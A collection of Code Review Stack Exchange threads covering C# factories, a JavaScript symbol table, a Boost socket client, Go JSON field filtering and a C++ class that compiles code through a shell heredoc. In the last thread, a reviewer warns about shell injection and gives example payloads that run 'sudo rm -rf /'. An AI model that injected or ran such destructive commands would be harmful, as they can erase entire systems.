private ConfigFileImpl(string path)
{
_path = path;
}
public ConfigFileLines Read()
{
return new ConfigFileLines(ReadAllLine());
}
private IEnumerable<string> ReadAllLine()
{
return File.ReadAllLines(_path);
}
}
</code></pre>
<p>The <code>Read()</code> method returns a new <code>ConfigFileLines</code> object that implements lines transformation within specific <code>TransformToGameCreationSettingsDictionnary()</code> method and returns a new <code>GameCreationSettingsDictionnary</code> object that encapsulate data access logic within the dictionary created in the previous method. This is where I start to ask myself for questions.</p>
<pre><code>public class ConfigFileLines
{
private IEnumerable<string> _lines;
private int keySelectorIndex = 0;
private string witheSpace = " ";
private IEnumerable<string> selectors = new List<string> { "C", "A", "M", "T" };
private string separator = "-";
public ConfigFileLines(IEnumerable<string> lines)
{
_lines = lines;
}
public GameCreationSettingsDictionnary TransformToGameCreationSettingsDictionnary()
{
Dictionary<string, List<string[]>> resDictionnary = _lines.Select(line =>
line.Replace(witheSpace, string.Empty))
.Where(line => selectors.Contains(line[keySelectorIndex].ToString()))
.Select(rawLine => rawLine.Split(separator))
.GroupBy(splitedLine => splitedLine.ElementAt(keySelectorIndex))
.ToDictionary(grp => grp.Key, grp => grp.ToList());
return new GameCreationSettingsDictionnary(resDictionnary);
}
}
</code></pre>
<p>Somehow, <code>TransformToGameCreationSettingsDictionnary()</code> looks like a factory method by implementing object instantiation logic. Thereby, I was wondering if I should create a specific factory like this:</p>
<pre><code>public class GameCreationSettingsDictionnaryFactory
{
private int keySelectorIndex = 0;
private string witheSpace = " ";
private IEnumerable<string> selectors = new List<string> { "C", "A", "M", "T" };
private string separator = "-";
public GameCreationSettingsDictionnary Create(IEnumerable<string> _lines)
{
Dictionary<string, List<string[]>> resDictionnary = _lines.Select(line =>
line.Replace(witheSpace, string.Empty))
.Where(line => selectors.Contains(line[keySelectorIndex].ToString()))
.Select(rawLine => rawLine.Split(separator))
.GroupBy(splitedLine => splitedLine.ElementAt(keySelectorIndex))
.ToDictionary(grp => grp.Key, grp => grp.ToList());
return new GameCreationSettingsDictionnary(resDictionnary);
}
}
</code></pre>
<p>The problem with this solution is that the <code>ConfigFileLines</code> no longer justified and I feel like I'm moving away from the object-oriented to procedural code.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-02T21:32:13.190",
"Id": "490681",
"Score": "0",
"body": "Just an option: try some Inversion of Control (IoC) Container. There's a lot of articles to read and NuGets that allows to try it in one click."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T11:54:34.683",
"Id": "249786",
"Score": "1",
"Tags": [
"c#",
"algorithm",
"object-oriented",
"design-patterns"
],
"Title": "Instantiation logic within a specific object vs factory object"
}
|
249786
|
<p>I'm currently going over <a href="https://algs4.cs.princeton.edu/31elementary/" rel="nofollow noreferrer">Robert Sedgewick Algorithms</a> book. Here I'm implementing a Symbol Table using a Linked List. The Sequential Search Symbol table is implemented in JavaScript. The book mentiones that this Abstract Data Structure is not a good solution when dealing with big amounts of data.</p>
<p>I would like feedback on the implementation and on following JavaScript best practices. I'm coming from Ruby so having this implementation follow the best practices in JavaScript is a plus for me.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>// Symbol Table using Sequential search (Linked List)
//
class SequentialSearchST {
constructor() {
this.first = null;
}
get(key) {
for(let x = this.first; x != null; x = x.next) {
if(x.key === key) {
return x.val
}
}
return null;
}
put(key, val) {
for(let x = this.first; x != null; x = x.next) {
if(x.key === key) {
return x.val = val
}
}
this.first = new Node(key, val, this.first);
}
}
class Node {
constructor(key, val, next) {
this.key = key;
this.val = val;
this.next = next;
}
}
st = new SequentialSearchST();
st.put('s', 0)
st.put('e', 1)
st.put('a', 2)
st.put('r', 3)
st.put('c', 4)
st.put('h', 5)
st.put('e', 6)
st.put('x', 7)
st.put('a', 9)
st.put('m', 10)
st.put('p', 11)
st.put('l', 12)
st.put('e', 13)
console.dir(st.get('s'));</code></pre>
</div>
</div>
</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T14:44:55.913",
"Id": "489816",
"Score": "0",
"body": "You do know everything in JS is a dictionary, right?"
}
] |
[
{
"body": "<p><strong>Iterators</strong> When you have a data structure that needs to be iterated over sometime, consider providing an iterator to make things easier and more abstract for consumers. That is, you don't really want to write</p>\n<pre class=\"lang-js prettyprint-override\"><code>for(let x = this.first; x != null; x = x.next) {\n</code></pre>\n<p>every time, nor would you want consumers of <code>SequentialSearchST</code> to have to do that if they wanted to examine the data manually. Instead, put an iterator on the class, and call that iterator by using <code>for..of</code> whenever needed.</p>\n<pre class=\"lang-js prettyprint-override\"><code>class SequentialSearchST {\n *[Symbol.iterator]() {\n for (let node = this.first; node; node = node.next) {\n yield node;\n }\n }\n</code></pre>\n<p><strong>Variable names</strong> <code>x</code> is not an informative variable name. Like I did above, maybe call a node <code>node</code> instead.</p>\n<p><strong>Semicolons</strong> Either use semicolons wherever appropriate, or don't use semicolons. Anything in-between looks inconsistent and can result in you eventually getting tripped up by the rules of <a href=\"https://stackoverflow.com/questions/2846283/what-are-the-rules-for-javascripts-automatic-semicolon-insertion-asi\">Automatic Semicolon Insertion</a>. If you're a beginner in JS, I'd highly recommend using semicolons. You can use a <a href=\"https://eslint.org/docs/rules/semi\" rel=\"nofollow noreferrer\">linter</a> to enforce a particular style - to warn you of potential bugs before they turn into runtime errors that you need to spend time tracking down.</p>\n<p><strong>Declare your variables</strong> before using them. If you don't, you'll either implicitly create a global variable (an easy source of bugs), or an error will be thrown (in strict mode, and strict mode is recommended). Change</p>\n<pre><code>st = new SequentialSearchST();\n</code></pre>\n<p>to</p>\n<pre><code>const st = new SequentialSearchST();\n</code></pre>\n<p><strong>Class usage</strong> A class is useful when you need to tie together <em>data</em> with <em>methods</em> that operate on that data. If you have only data, a class doesn't provide any benefit, and is simply noise, IMO. If I were you, I'd remove the <code>Node</code> class and change</p>\n<pre class=\"lang-js prettyprint-override\"><code>this.first = new Node(key, val, this.first);\n</code></pre>\n<p>to</p>\n<pre class=\"lang-js prettyprint-override\"><code>this.first = { key, val, next: this.first };\n</code></pre>\n<p><strong>null</strong> Rather than assigning <code>null</code> as the initial value, and returning null when no matching node is found, you might consider if simply <em>omitting</em> a return statement entirely would do the trick. It's perfectly fine for a function call to return <code>undefined</code>; omitting <code>null</code> requires less code, less potential for inconsistencies, and one less thing to think about. (If this is for an exercise that <em>requires</em> <code>null</code> to be used, that's fine)</p>\n<p>(If you <em>do</em> use null, make sure to verify it by using <code>!== null</code>, not <code>!=</code> null; sloppy comparison requires <a href=\"https://stackoverflow.com/questions/359494/which-equals-operator-vs-should-be-used-in-javascript-comparisons\">more cognitive overhead</a> than strict comparison)</p>\n<p>This is how I'd refactor it:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>class SequentialSearchST {\n *[Symbol.iterator]() {\n for (let node = this.first; node; node = node.next) {\n yield node;\n }\n }\n get(key) {\n for (const node of this) {\n if (node.key === key) {\n return node.val;\n }\n }\n }\n put(key, val) {\n for (const node of this) {\n if (node.key === key) {\n node.val = val;\n return;\n }\n }\n this.first = { key, val, next: this.first };\n }\n}\n\nconst st = new SequentialSearchST();\nst.put('s', 0)\nst.put('e', 1)\nst.put('a', 2)\nst.put('r', 3)\nst.put('c', 4)\nst.put('h', 5)\nst.put('e', 6)\nst.put('x', 7)\nst.put('a', 9)\nst.put('m', 10)\nst.put('p', 11)\nst.put('l', 12)\nst.put('e', 13)\nconsole.dir(st.get('s'));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p><strong>Another approach</strong> Maps hold key-value pairs. (Objects do too, but objects can only contain string and symbol keys, which is a limitation.) If this was a real-world problem I had to solve, I'd just use a Map:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"true\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code snippet-currently-hidden\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const st = new Map();\nst.set('s', 0)\nst.set('e', 1)\nst.set('a', 2)\nst.set('r', 3)\nst.set('c', 4)\nst.set('h', 5)\nst.set('e', 6)\nst.set('x', 7)\nst.set('a', 9)\nst.set('m', 10)\nst.set('p', 11)\nst.set('l', 12)\nst.set('e', 13)\nconsole.dir(st.get('s'));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T10:45:22.853",
"Id": "489882",
"Score": "0",
"body": "The fact that you can't override the subscript operator (well, at least not without using reflective proxies to completely intercept property access) is mightily annoying. It would be so much more natural to say `st['m'] = 10`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T13:36:39.190",
"Id": "489912",
"Score": "0",
"body": "\"objects can only contain string and symbol keys, which is a limitation\" – In general, yes, although in this case, we only need strings, since it's a symbol table."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T15:17:59.827",
"Id": "249795",
"ParentId": "249789",
"Score": "4"
}
},
{
"body": "<h1>Naming</h1>\n<p>What you are implementing is a <em>Symbol Table</em>. <em>How</em> you implement the symbol table is nobody's business, it is a private internal implementation detail that nobody should need to care about.</p>\n<p>Yet, your name is exactly the opposite: what your class <em>actually</em> is, is hidden behind an obscure acronym and tacked on at the end, whereas the part that I <em>shouldn't even know about in the first place</em>, screams at me from the front.</p>\n<p>I would name the class <code>SymbolTable</code>:</p>\n<pre><code>class SymbolTable {\n // …\n}\n</code></pre>\n<h1>Triple equals</h1>\n<p>There are two places where you use the <em>Abstract Equality Comparison Operator</em> <code>==</code> or more precisely its negation <code>!=</code>. It is generally best if you forget about its existence and never use it.</p>\n<p>Always use the <em>Strict Equality Comparison Operator</em> <code>===</code> or its negation <code>!==</code> instead.</p>\n<h1>Consistency</h1>\n<p>Sometimes you use the Abstract Equality Comparison Operator and sometimes the Strict Equality Comparison Operator. Sometimes you use semicolons and sometimes you don't.</p>\n<h1>Class fields</h1>\n<p>There is a stage-3 proposal for class fields. Whether you can use them or not depends on your environment. I personally quite like them. In this case, it allows us to get rid of the constructor.</p>\n<pre><code>class SymbolTable {\n first = null;\n\n get(key) {\n // …\n }\n\n put(key, val) {\n // …\n }\n}\n</code></pre>\n<h1>Private fields</h1>\n<p>There is a stage-3 proposal for private fields. Whether you can use them or not depends on your environment. I personally quite like them.</p>\n<pre><code>class SymbolTable {\n #first = null;\n\n get(key) {\n for(let x = this.#first; x !== null; x = x.next) {\n if(x.key === key) {\n return x.val\n }\n }\n return null;\n }\n\n put(key, val) {\n for(let x = this.#first; x !== null; x = x.next) {\n if(x.key === key) {\n return x.val = val\n }\n }\n this.#first = new Node(key, val, this.#first);\n }\n}\n</code></pre>\n<p>You don't necessarily have to initialize them, they will default to <code>undefined</code> which arguably is "more correct" than <code>null</code> anyway in this case.</p>\n<h1>Data classes / records / structs</h1>\n<p>I agree with CertainPerformance that simple data classes / records / structs / whatever you want to call them are unnecessary in ECMAScript. In fact, confusingly, what ECMAScript calls an "object" <em>is</em> actually technically a <em>record</em> and not an <em>object</em> in the sense of "OOP". If you want an <em>object</em> in the sense of OOP, you use a <em>function</em> (more precisely, a <em>closure</em>).</p>\n<p>So, for simple records, just use objects. There is no need for <code>Node</code>. <em>IFF</em> you want to keep <code>Node</code>, it would make sense to hide it inside <code>SymbolTable</code>, since it shouldn't be exposed to clients. Something like this:</p>\n<pre><code>class SymbolTable\n static #Node = class Node {\n key;\n val;\n next;\n\n constructor(key, val, next) {\n this.key = key;\n this.val = val;\n this.next = next;\n }\n };\n}\n</code></pre>\n<h1><code>Map</code></h1>\n<p>Note that the ECMAScript core library does contain a <a href=\"https://tc39.es/ecma262/#sec-map-objects\" rel=\"nofollow noreferrer\"><code>Map</code> datatype</a> which more or less does what you want already.</p>\n<p>Also, since you are implementing a symbol table, the restriction that object keys can only be strings or symbols is not really much of a restriction, and you can simply use objects for your symbol tables.</p>\n<p>I am assuming this is actually an exercise for implementing a linked list, and not an exercise about writing a compiler, though.</p>\n<h1>The Result</h1>\n<p>This is what it looks like, merging in also CaptainPerformance's improvement providing an iterator. I left the <code>Node</code> class in, just as an example, but normally, I would eliminate it and simply use an object, as in CaptainPerformance's answer.</p>\n<pre><code>class SymbolTable {\n #first;\n\n static #Node = class Node {\n key;\n val;\n next;\n\n constructor(key, val, next) {\n this.key = key;\n this.val = val;\n this.next = next;\n }\n };\n\n *[Symbol.iterator]() {\n for (let node = this.#first; node; node = node.next) {\n yield node;\n }\n }\n\n get(key) {\n for (const node of this) {\n if (node.key === key) {\n return node.val;\n }\n }\n }\n\n put(key, val) {\n for (const node of this) {\n if (node.key === key) {\n node.val = val;\n return;\n }\n }\n\n this.#first = new SymbolTable.#Node(key, val, this.#first);\n }\n}\n\nconst st = new SymbolTable();\n\nst.put('s', 0);\nst.put('e', 1);\nst.put('a', 2);\nst.put('r', 3);\nst.put('c', 4);\nst.put('h', 5);\nst.put('e', 6);\nst.put('x', 7);\nst.put('a', 9);\nst.put('m', 10);\nst.put('p', 11);\nst.put('l', 12);\nst.put('e', 13);\n\nconsole.dir(st.get('x'));\n\nfor (const { key, val } of st) {\n console.dir(`${key} : ${val}`);\n}\n</code></pre>\n<h1>Ruby</h1>\n<p>Compared to Ruby, two main differences stand out:</p>\n<p>ECMAScript's core library is much smaller. (For example, there isn't even a way to get user input or generate output!) This is by design. ECMAScript is designed to be embedded into an application, and the core objects and operations are provided by that application. E.g. embedded into a web browser, the browser provides the DOM, with e.g the <code>console.log</code> method.</p>\n<p>Object literals. Often, you don't need to create a class just so you can instantiate an object of the right shape. You can just write down the object you want. (See the nodes in CaptainPerformance's answer.)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-28T11:58:02.743",
"Id": "490237",
"Score": "0",
"body": "in the sections `Data classes / records / structs` you used the `static` to declare `#Node`. In it you declare `key, val, next` without assigning it any value and then you declare those variables again inside the constructor. What is the name of this convention? Or is there specific reason as to why you did this? Would declaring them outside the constructor provides some functionality?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T14:33:57.757",
"Id": "249845",
"ParentId": "249789",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249845",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T12:52:24.683",
"Id": "249789",
"Score": "4",
"Tags": [
"javascript",
"algorithm",
"object-oriented",
"hash-map"
],
"Title": "JavaScript implementation of Symbol Table (Dictionary)"
}
|
249789
|
<p>I'm new to socket programming and c++. I have a the following method that sends an array to server and receives sum of the array, I tried to make it async.</p>
<pre><code>std::future<void> AsyncClient::ReqSum(const std::vector<double>& numbers)
{
return std::async(
std::launch::async,
[&, numbers]()
{
// Setup connection. Can move to seperate method?
boost::asio::io_service _ioservice;
tcp::socket _socket(_ioservice);
_socket.connect(m_endpoint);
std::string requestJson = Serializer::ArraySumRequest(numbers);
boost::system::error_code err;
boost::asio::write(_socket, boost::asio::buffer(requestJson), err);
if (err)
{
std::stringstream ss;
ss << "Couldn't write to socket! error code: " << err;
throw ss.str();
}
// getting response from server
boost::asio::streambuf receiveBuffer;
boost::asio::read(_socket, receiveBuffer, boost::asio::transfer_all(), err);
if (err && err != boost::asio::error::eof)
{
std::stringstream ss;
ss << "Receiving from the server failed! error code: " << err.message();
throw ss.str();
}
const char* data = boost::asio::buffer_cast<const char*>(receiveBuffer.data());
rapidjson::Document doc;
doc.Parse<rapidjson::kParseDefaultFlags>(data);
if (!doc.HasMember("result"))
throw "No result found!";
double result = doc["result"].GetDouble();
std::cout << "Sum of the array: " << result << std::endl;
_socket.shutdown(boost::asio::socket_base::shutdown_both);
_socket.close();
});
}
</code></pre>
<p>Actually I want to know is it possible to use one connection to for multiple requests(i.e move that socket and connection to another method)?</p>
<p>And if there are any fixes to my code please let me know.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T18:22:34.133",
"Id": "490044",
"Score": "0",
"body": "Depends what is listening on the other end of the socket. A normal \"modern\" HTTP server yes you can leave the socket open and make multiple requests on the same connection."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T19:09:28.933",
"Id": "490048",
"Score": "0",
"body": "@MartinYork My server is like [this](https://docs.microsoft.com/en-us/dotnet/framework/network-programming/asynchronous-server-socket-example)(it's in c#), except that I do not call close and shutdown on SendCallback."
}
] |
[
{
"body": "<blockquote>\n<p>I want to know is it possible to use one connection to for multiple requests(i.e move that socket and connection to another method)?</p>\n</blockquote>\n<p>In principle, yes. The easiest way would be to not create a socket in this method, but leave it up to the caller to create a socket, and pass a reference to it to <code>AsyncClient::ReqSum()</code>, so that the socket can be reused for multiple requests.</p>\n<p>However, as you mentioned this doesn't work, and that is because you rely on the server to close the connection right after sending the response to a single request:</p>\n<pre><code>boost::asio::streambuf receiveBuffer;\nboost::asio::read(_socket, receiveBuffer, boost::asio::transfer_all(), err);\n</code></pre>\n<p>The <code>read()</code> command here doesn't know how large the response is, but you told it to transfer <em>all</em> data sent by the server. The only way to signal the end of all data is for the server to close the connection. If the server would support multiple requests on a connection, then you need some way to deliniate responses. And in that case, you will have to use a function like <a href=\"https://www.boost.org/doc/libs/1_70_0/doc/html/boost_asio/reference/read_until.html\" rel=\"nofollow noreferrer\"><code>boost::asio::read_until()</code></a> to read data up to a certain point.</p>\n<h1>Don't <code>throw</code> strings</h1>\n<p>First of all, constructing a string using <code>std::stringstream</code> is quite expensive. But the main issue is that you are <code>throw</code>ing a plain <code>std::string</code>. The problem is that any error handling code now has no idea what kind of error happened, unless it parses that string. That will also be inefficient.</p>\n<p>You should instead throw a type that inherits from <a href=\"https://en.cppreference.com/w/cpp/error/exception\" rel=\"nofollow noreferrer\"><code>std::exception</code></a>. In this case, either throw a <a href=\"https://en.cppreference.com/w/cpp/error/runtime_error\" rel=\"nofollow noreferrer\"><code>std::runtime_error</code></a>, or if you wish some custom type that inherits from that.</p>\n<h1>Avoid using <code>std::endl</code></h1>\n<p>Prefer using <a href=\"https://stackoverflow.com/questions/213907/stdendl-vs-n\"><code>"\\n"</code> instead of <code>std::endl</code></a>; the latter is equivalent to the former, but also forces a flush of the output stream, which is usually not necessary and might be bad for performance.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T18:35:04.700",
"Id": "489956",
"Score": "0",
"body": "Thanks for your answer. Your feedbacks were very helpful to me, but about the first one, it doesn't seem to be that easy(or I couldn't do that). I get an error when want to read from the socket for the second time. I posted my problem [here](https://stackoverflow.com/q/64069424/14186665) as well."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T19:01:56.103",
"Id": "249801",
"ParentId": "249792",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "249801",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T14:19:36.083",
"Id": "249792",
"Score": "2",
"Tags": [
"c++",
"asynchronous",
"socket",
"boost",
"client"
],
"Title": "Async tcp socket client: send multiple requests with one connection"
}
|
249792
|
<p>For an API I have defined a "Client" struct which contains all the fields the client has in the database. When a GET request is made with the client ID the whole struct(The struct contains about 60 fields of different types) is returned with all available data. The request can be customized with a querystring "fields" which allow the user to return specific "Client" fields only regardless if they are empty, so omitempty or "-" will not work for my usecase.</p>
<p>GO playground example: <a href="https://play.golang.org/p/NTGxGQFz7-Y" rel="nofollow noreferrer">https://play.golang.org/p/NTGxGQFz7-Y</a></p>
<pre><code>type Client struct {
Firstname string `json:"firstname"`
AltAddress string `json:"alt_address"`
Lastname string `json:"lastname"`
}
</code></pre>
<p>Example: GET
GET /clients/id/1</p>
<p>Response:</p>
<pre><code>{
"firstname": "Michael",
"alt_address": "",
"lastname": "Smith"
}
</code></pre>
<p>Example: GET with querystring
Get /clients/id/1?fields=firstname, alt_address</p>
<p>Response:</p>
<pre><code>{
"firstname": "Michael",
"alt_address": ""
}
</code></pre>
<p>I have this method(objectToFilteredMap) which converts an interface(struct for example) to a map, removes the fields that are <strong>NOT</strong> defined in "fieldNames" and outputs it as a json object. But I feel like I am using to many "for" loops. Is there a more efficient way to filter out the unneeded fields? Or any other improvements would be appreciated.</p>
<pre><code>var (
regex = regexp.MustCompile(`^\w+$`)
)
func inSlice(slice []string, val string) bool {
for _, item := range slice {
if item == val {
return true
}
}
return false
}
func toMap(obj interface{}, fieldNames []string) (map[string]interface{}, error) {
for k, f := range fieldNames {
f = strings.TrimSpace(f)
if !regex.Match([]byte(f)) {
return nil, fmt.Errorf("Invalid field name: `%s`", f)
}
fieldNames[k] = strings.ToLower(f)
}
j, err := json.Marshal(obj)
if err != nil {
return nil, err
}
objMap := map[string]interface{}{}
err = json.Unmarshal(j, &objMap)
if err != nil {
return nil, err
}
for k := range objMap {
if !inSlice(fieldNames, k) {
delete(objMap, k)
}
}
if len(objMap) == 0 {
return nil, fmt.Errorf("field(s) not found")
}
return objMap, nil
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T14:42:33.230",
"Id": "489815",
"Score": "1",
"body": "Your question title should explain what your code does, not what you are attempting to improve in your code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T14:46:05.047",
"Id": "489817",
"Score": "0",
"body": "@FreezePhoenix I can't think of a good title. XD Get client information with GET request in GO API? Would that be better?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T14:46:39.610",
"Id": "489818",
"Score": "0",
"body": "Is that what your code does?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T14:47:19.973",
"Id": "489819",
"Score": "0",
"body": "I get where this is going, title is changed."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T16:56:17.447",
"Id": "489829",
"Score": "0",
"body": "Can you change the db query? If so you could check that the requested api fields are columns (or more likely valid keys in a map between api field and table columns) and the dump a query with just those fields into your 60 item struct with `json:\"[name],omitempty\"` tagged so it only contains the fields you want to return when you marshall it. Not a direct review of your code but another possible approach. Anything that's starting to get dynamic with lots of `map[string]interface{}` is going to feel a bit off in Go compared to Python or other dynamically typed languages"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T18:29:44.177",
"Id": "489833",
"Score": "0",
"body": "@Coupcoup Unfortunately I need the fields defined in the \"fields\" parameter to be returned regardless if the are empty or not, so omitempty won't work for me here."
}
] |
[
{
"body": "<p>If you have m fields and n names then you are iterating O(m * n) times. For all fields and names, circa 60 * 60 = 3600 times. Only loop O(m) times:</p>\n<pre><code>for field, _ := range m {\n if !names[field] {\n delete(m, field)\n }\n}\n</code></pre>\n<p>With some improvements:</p>\n<pre><code>package main\n\nimport (\n "encoding/json"\n "fmt"\n "regexp"\n "strings"\n)\n\nvar fieldNameRegex = regexp.MustCompile(`^\\w+$`)\n\nfunc structToMap(client interface{}, fieldNames []string) (map[string]interface{}, error) {\n names := make(map[string]bool, len(fieldNames))\n for _, name := range fieldNames {\n name = strings.TrimSpace(name)\n if !fieldNameRegex.MatchString(name) {\n return nil, fmt.Errorf("Invalid field name: `%s`", name)\n }\n name = strings.ToLower(name)\n names[name] = true\n }\n\n j, err := json.Marshal(client)\n if err != nil {\n return nil, err\n }\n m := map[string]interface{}{}\n err = json.Unmarshal(j, &m)\n if err != nil {\n return nil, err\n }\n for field, _ := range m {\n if !names[field] {\n delete(m, field)\n }\n }\n if len(m) != len(names) {\n return nil, fmt.Errorf("field(s) not found")\n }\n return m, nil\n}\n\ntype Client struct {\n AltAddress string `json:"alt_address"`\n Firstname string `json:"firstname"`\n Lastname string `json:"lastname"`\n}\n\nfunc main() {\n client := Client{\n AltAddress: "HalLo",\n Lastname: "smith",\n }\n\n m, err := structToMap(client, []string{"alt_address", "firstname"})\n if err != nil {\n fmt.Println("error1:", err)\n return\n }\n j, err := json.Marshal(m)\n if err != nil {\n fmt.Println("error2:", err)\n return\n }\n fmt.Println(string(j))\n}\n</code></pre>\n<p>Playground: <a href=\"https://play.golang.org/p/Qf8bdygEcVT\" rel=\"nofollow noreferrer\">https://play.golang.org/p/Qf8bdygEcVT</a></p>\n<pre><code>{"alt_address":"HalLo","firstname":""}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T05:59:35.873",
"Id": "489861",
"Score": "0",
"body": "Thank you! This is these are the improvements I was looking for."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-25T22:19:02.797",
"Id": "489979",
"Score": "0",
"body": "It is worth improving a section of your answer right after _With some improvements:_ paragraph and add some explanation which actual improvements you've made"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T21:59:15.643",
"Id": "249808",
"ParentId": "249793",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249808",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-24T14:41:10.790",
"Id": "249793",
"Score": "3",
"Tags": [
"go"
],
"Title": "Get client information with GET request in GO API"
}
|
249793
|
<p>Today I discovered that it is possible to dynamically load code at runtime via <code>dlopen</code> and <code>dlsym</code> (and similar utilities on Windows as well). So the obvious next step was to call the compiler through <code>system</code> to build a piece of code into a shared object, which is then loaded to obtain a function pointer. All wrapped in a template class which becomes callable once "compiled".</p>
<p>The code is pretty much at an embryo state (less than 100 lines including the example), but it works and shows the idea, therefore I would love to hear your opinion.</p>
<p>This thing looks sooo simple and yet sooo powerful that I would really be surprised to be the first one having thought about it.</p>
<pre><code>// compile with something like: g++ -std=c++20 jit.cpp -ldl
#include <dlfcn.h>
#include <cstdlib>
#include <iostream>
#include <filesystem>
template< class >
class JitFunc;
template< class R, class... Args >
class JitFunc<R(Args...)> {
public:
using Func = R(Args...);
using result_type = R;
private:
std::string soName;
void * dlso = nullptr;
Func * func = nullptr;
public:
// remember to call compile() anytime you modify these strings
std::string name; // the function name, which should also be found in the source
std::string source; // the source code, remember to use extern "C"
std::string cxx = "/usr/bin/g++"; // the compiler executable
std::string soPath = "/tmp"; // where to store the shared object (ideally a ramdisk)
std::string flags; // custom compiler flags which you may need
JitFunc(std::string funcName):
name(std::move(funcName))
{}
~JitFunc() {
close();
removeSo();
}
result_type operator()(Args && ... args) const {
return func(std::forward<Args>(args)...);
}
void compile() {
close();
removeSo();
soName = soPath + "/jit_" + name + ".so";
std::string cmd = cxx;
auto push = [&cmd](std::string s) { cmd += " "; cmd += std::move(s); };
push(flags);
push("-shared -fPIC -o");
push(soName);
push("-xc++ - << EOF\n");
push(source);
push("\nEOF\n");
std::system(cmd.c_str());
dlso = dlopen(soName.c_str(), RTLD_NOW);
if (!dlso) throw std::runtime_error(dlerror());
func = (Func*) dlsym(dlso, name.c_str());
if (!func) throw std::runtime_error(dlerror());
}
void close() {
if (dlso) {
dlclose(dlso);
dlso = nullptr;
func = nullptr;
}
}
void removeSo() {
if (!soName.empty()) {
std::filesystem::remove(soName);
soName.clear();
}
}
};
int main() {
JitFunc<int(int)> f("timestwo");
f.source =
R"CODE(
#include <iostream>
extern "C" {
int timestwo(int a) { std::cout << "hello from timestwo" << std::endl; return 2*a; }
}
)CODE"; // using a string literal to avoid having to escape all the double quotes
f.compile();
std::cout << f(2) << std::endl;
return 0;
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-26T17:21:37.583",
"Id": "490042",
"Score": "0",
"body": "Rather than `system()` I would use `popen()` so that you can full control over input and output of the sub processes."
}
] |
[
{
"body": "<h1>Make better use of constructors</h1>\n<p>Make your constructor take the program source as well as the function name as arguments, and have it compile the code at construction time. This avoids having to manually call <code>compile()</code>, which avoids errors such as forgetting to call that function or calling it twice.</p>\n<p>The destructor already calls <code>close()</code> and <code>removeSo()</code>. You should make the latter two functions <code>private</code>, so one cannot accidentily call them manually.</p>\n<h1>Avoid unnecessary member variables</h1>\n<p>You should only declare member variables to hold information that you need for a longer period of time. Variables like <code>source</code>, <code>cxx</code> and so on are only used during the compilation step, they are not needed for anything else. Just remove them, and pass them as parameters to <code>compile()</code>, or better to the constructor, as mentioned above.</p>\n<h1>Avoid using <code><<EOF</code> with user-provided content</h1>\n<p>There's a potential issue: what if I do the following?</p>\n<pre><code>f.source = R"CODE(\nextern "C" {\nint timestwo(int a) {\n return 2 * a;\n}\n}\nEOF\nsudo rm -rf /\n)CODE";\n</code></pre>\n<p>It's better to write the source code to a temporary file, and point the compiler to that temporary file. This way, you won't accidentily execute shell code.</p>\n<h1>Use cases for JIT compilation</h1>\n<p>This looks very powerful, but what use cases do you have in mind for it? The example you gave is a bad use case; you could just have written <code>timestwo()</code> directly in the program. The main use case I can think of is to provide some way to evalute expressions provided by a user at runtime. In that case, you really want to sanitize the input. Because even if you avoid the shell exploits mentioned above, what happens if you do:</p>\n<pre><code>f.source = R"CODE(\nextern "C" {\nint timestwo(int a) {\n system("sudo rm -rf /");\n return 2 * a;\n}\n}\n)CODE";\n</code></pre>\n<p>If the code you compile is in any way provided by the user, you have to be extremely careful to avoid potential misuse. So I would only use this if I am absolutely sure I need this functionality and if I can make sure it cannot be abused.</p>\n",
"comments": [
{
